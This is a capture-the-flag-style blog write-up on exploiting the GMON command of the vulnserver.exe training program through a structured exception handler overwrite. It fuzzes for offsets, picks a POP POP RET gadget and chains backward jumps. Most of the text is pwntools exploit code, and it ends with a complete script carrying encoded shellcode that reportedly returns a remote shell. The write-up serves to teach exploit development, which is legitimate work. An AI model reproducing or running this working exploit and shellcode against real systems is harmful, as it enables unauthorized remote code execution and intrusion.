Exploiting vulnserver.exe — GMON command using SEH overwrite

6 minute read

In this write-up, I will discuss about attacking GMON command of vulnserver.exe with SEH overwrite.

To get started, let’s read the source code of vulnserver.

The code tells us that it passes RecvBuf to Function3() if our input contains “/” and the input length is greater than 3950 bytes.

Let’s inspect Function3 to have a better understanding what happens next.

The contents of RecvBuf is copied to Buffer2S without checking the length. This is where the vulnerability occurs. Since Buffer2S can only handle 2000 bytes and RecvBuf must be at least 3951 bytes of input, we can smash the stack by sending a payload greater than 2000 bytes.

Since RecvBuf must be greater than 3950 bytes, let’s try sending a payload with a length of 4000 bytes and observe what happens.

from pwn import *

host = '192.168.136.241'  
port = 9999

r = remote(host, port)

payload = ""  
payload += "GMON /"  
payload += "A"*4000

r.sendline(payload)  
r.close()

It seems that the EIP was not overwritten.

Let’s check the SEH chain viewer of Immunity debugger.

Instead of an EIP overwrite, we have overwritten the SEH value and the pointer to the next SEH value.

To give a quick background about SEH or Structured Exception Handling, it handles all issues encountered by the program during runtime. Basically, when the program crashes unexpectedly, SEH handles the program issue in a graceful manner.

You can read more about SEH exploits from corelan.

Going back to the exploitation, let’s fuzz the program to get the offset we need to control the SEH value and the NSEH pointer.

from pwn import *

host = '192.168.136.241'  
port = 9999

r = remote(host, port)

payload = ""  
payload += "GMON /"  
payload += "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2F"

r.sendline(payload)  
r.close()

Sending this payload gives us the unique pattern that has overwritten the SEH value and the NSEH pointer.

The offset we need to overwrite SEH value is 3522 and 3518 for NSEH pointer.

Our payload structure should now look like this.

payload = <3518 bytes buffer> + <NSEH overwrite> + <SEH overwrite>

According to this writeup by corelan, we need to overwrite the SEH value with a POP POP RET instruction and overwrite NSEH with an instruction that will jump to our shellcode.

To execute this plan, let’s check if there is an available POP POP RET instruction that we can use with the help of mona. We can simply use !mona seh -n to get a list of POP POP RET instructions.

We can use 0x625010b4 as our POP POP RET instruction.

Next, we need to overwrite NSEH with instructions that will make us jump to our shellcode. Upon testing, we cannot place our shellcode after SEH overwrite since we only have a limited stack space after NSEH and SEH.

Our only option is to use the buffer before NSEH overwrite for our shellcode, and our only way to jump to our shellcode is to jump backwards.

To give an update on our payload structure, it should now look like this.

payload = <buffer> + <shellcode> + <NSEH> + <SEH>

Our next issue is we only have 4 bytes for jumping backwards. Since our shellcode have a length of 300 to 400 on average, we need to atleast jump 400 bytes backwards. But writing this instruction requires atleast 5 bytes.

We need to think of an alternate way to jump into our shellcode.

According to this page, we can do a SHORT RELATIVE JUMP to jump backwards. This solution fits perfectly on our space issue since we only need two bytes for this instruction.

To compute for the instruction, we need to append the 2’s complement of the negative jump what we want to “\xeb” (opcode for short jump). We can use this formula to compute the 2’s complement.

2’s complement = (<jump distannce> ^ 0xff) + 1

Let’s use 70 bytes as our jump distance.

Since “\xeb\xba” are just 2 bytes, we need to append NOP instructions to make a 4-byte instruction.

Let’s test this with our reconstructed payload. We will use “\xcc” (int 3 instruction) for debugging purposes.

from pwn import *

host = '192.168.136.241'  
port = 9999

r = remote(host, port)

shellcode = ""

payload = ""  
payload += "GMON /"  
payload += "A"*(3518 - 70) # Subtract 70  
payload += "\xcc"*70 #  This is where the short jump occurs, int 3 - for debugging  
payload += "\xeb\xba\x90\x90" # jmp -70  
payload += p32(0x625010b4)  
payload += "D"*(4096 - len(payload)) # to make sure that the payload is greater than 3950

r.sendline(payload)  
r.close()

Upon checking, we did not land exactly on the start of “\xcc”. We landed 2 bytes ahead of it. A quick explanation can be seen on the SHORT JMP resource we used above.

We need to reduce 2 bytes of buffer to exactly land on our desired location.

Alternative solution: Replace the buffer with NOP instructions.

Let’s adjust the payload.

from pwn import *

host = '192.168.136.241'  
port = 9999

r = remote(host, port)

shellcode = ""

payload = ""  
payload += "GMON /"  
payload += "A"*(3518 - 70 + 2) # Subtract 70, add 2 for adjustment  
payload += "\xcc"*68 #  This is where the short jump occurs, int 3 - for debugging  
payload += "\xeb\xba\x90\x90" # jmp -70  
payload += p32(0x625010b4)  
payload += "D"*(4096 - len(payload)) # to make sure that the payload is greater than 3950

r.sendline(payload)  
r.close()

Now, we got 68 bytes of space. We can now do a long jump backwards. Let’s try to do a 500 bytes backward jump. For review, our payload structure will now look like this.

<buffer> + <NOP sled> + <shellcode> + <jmp -500 & padding> + <NSEH (jmp -70)> + <SEH (POP POP RET)>

We can use nasm_shell for generating our jmp -500 instruction.

Let’s update our payload script.

from pwn import *

host = '192.168.136.241'  
port = 9999

r = remote(host, port)

shellcode = ""

payload = ""  
payload += "GMON /"  
payload += "A"*(3518 - 70 + 2 - 500) # Subtract 70, add 2 for adjustment, -500 for shellcode space  
payload += "\xcc"*500 # NOP + shellcode location, int3 for debugging purposes only  
payload += "\xE9\x07\xFE\xFF\xFF" # This is where the short jump occurs, jmp -500  
payload += "\x90" * (68 - 5) # padding  
payload += "\xeb\xba\x90\x90" # jmp -70  
payload += p32(0x625010b4)  
payload += "D"*(4096 - len(payload)) # to make sure that the payload is greater than 3950

r.sendline(payload)  
r.close()

Quick note: Always remember that we need to have a total of 3518 bytes of payload before SEH overwrite.

Let’s try to send this payload.

Success! We landed exactly on our first “\xcc”. Let’s replace this with NOP sled and shellcode.

Our final script now looks like this.

from pwn import *

host = '192.168.136.241'  
port = 9999

r = remote(host, port)

shellcode =  b""  
shellcode += b"\xd9\xe5\xd9\x74\x24\xf4\x58\x31\xc9\xb1\x52"  
shellcode += b"\xbb\x5f\xb2\x29\xf1\x83\xc0\x04\x31\x58\x13"  
shellcode += b"\x03\x07\xa1\xcb\x04\x4b\x2d\x89\xe7\xb3\xae"  
shellcode += b"\xee\x6e\x56\x9f\x2e\x14\x13\xb0\x9e\x5e\x71"  
shellcode += b"\x3d\x54\x32\x61\xb6\x18\x9b\x86\x7f\x96\xfd"  
shellcode += b"\xa9\x80\x8b\x3e\xa8\x02\xd6\x12\x0a\x3a\x19"  
shellcode += b"\x67\x4b\x7b\x44\x8a\x19\xd4\x02\x39\x8d\x51"  
shellcode += b"\x5e\x82\x26\x29\x4e\x82\xdb\xfa\x71\xa3\x4a"  
shellcode += b"\x70\x28\x63\x6d\x55\x40\x2a\x75\xba\x6d\xe4"  
shellcode += b"\x0e\x08\x19\xf7\xc6\x40\xe2\x54\x27\x6d\x11"  
shellcode += b"\xa4\x60\x4a\xca\xd3\x98\xa8\x77\xe4\x5f\xd2"  
shellcode += b"\xa3\x61\x7b\x74\x27\xd1\xa7\x84\xe4\x84\x2c"  
shellcode += b"\x8a\x41\xc2\x6a\x8f\x54\x07\x01\xab\xdd\xa6"  
shellcode += b"\xc5\x3d\xa5\x8c\xc1\x66\x7d\xac\x50\xc3\xd0"  
shellcode += b"\xd1\x82\xac\x8d\x77\xc9\x41\xd9\x05\x90\x0d"  
shellcode += b"\x2e\x24\x2a\xce\x38\x3f\x59\xfc\xe7\xeb\xf5"  
shellcode += b"\x4c\x6f\x32\x02\xb2\x5a\x82\x9c\x4d\x65\xf3"  
shellcode += b"\xb5\x89\x31\xa3\xad\x38\x3a\x28\x2d\xc4\xef"  
shellcode += b"\xff\x7d\x6a\x40\x40\x2d\xca\x30\x28\x27\xc5"  
shellcode += b"\x6f\x48\x48\x0f\x18\xe3\xb3\xd8\xe7\x5c\x33"  
shellcode += b"\xee\x80\x9e\x43\x1e\x0d\x16\xa5\x4a\xbd\x7e"  
shellcode += b"\x7e\xe3\x24\xdb\xf4\x92\xa9\xf1\x71\x94\x22"  
shellcode += b"\xf6\x86\x5b\xc3\x73\x94\x0c\x23\xce\xc6\x9b"  
shellcode += b"\x3c\xe4\x6e\x47\xae\x63\x6e\x0e\xd3\x3b\x39"  
shellcode += b"\x47\x25\x32\xaf\x75\x1c\xec\xcd\x87\xf8\xd7"  
shellcode += b"\x55\x5c\x39\xd9\x54\x11\x05\xfd\x46\xef\x86"  
shellcode += b"\xb9\x32\xbf\xd0\x17\xec\x79\x8b\xd9\x46\xd0"  
shellcode += b"\x60\xb0\x0e\xa5\x4a\x03\x48\xaa\x86\xf5\xb4"  
shellcode += b"\x1b\x7f\x40\xcb\x94\x17\x44\xb4\xc8\x87\xab"  
shellcode += b"\x6f\x49\xb7\xe1\x2d\xf8\x50\xac\xa4\xb8\x3c"  
shellcode += b"\x4f\x13\xfe\x38\xcc\x91\x7f\xbf\xcc\xd0\x7a"  
shellcode += b"\xfb\x4a\x09\xf7\x94\x3e\x2d\xa4\x95\x6a"

payload = ""  
payload += "GMON /"  
payload += "A"*(3518 - 70 + 2 - 500) # Subtract 70, add 2 for adjustment, -500 for shellcode space  
payload += "\x90"*(500 - len(shellcode)) # NOP sled  
payload += shellcode  
payload += "\xE9\x07\xFE\xFF\xFF" # This is where the short jump occurs, jmp -500  
payload += "\x90" * (68 - 5) # padding  
payload += "\xeb\xba\x90\x90" # jmp -70  
payload += p32(0x625010b4)  
payload += "D"*(4096 - len(payload)) # to make sure that the payload is greater than 3950

r.sendline(payload)  
r.close()

Executing this payload gives us a shell.

— ar33zy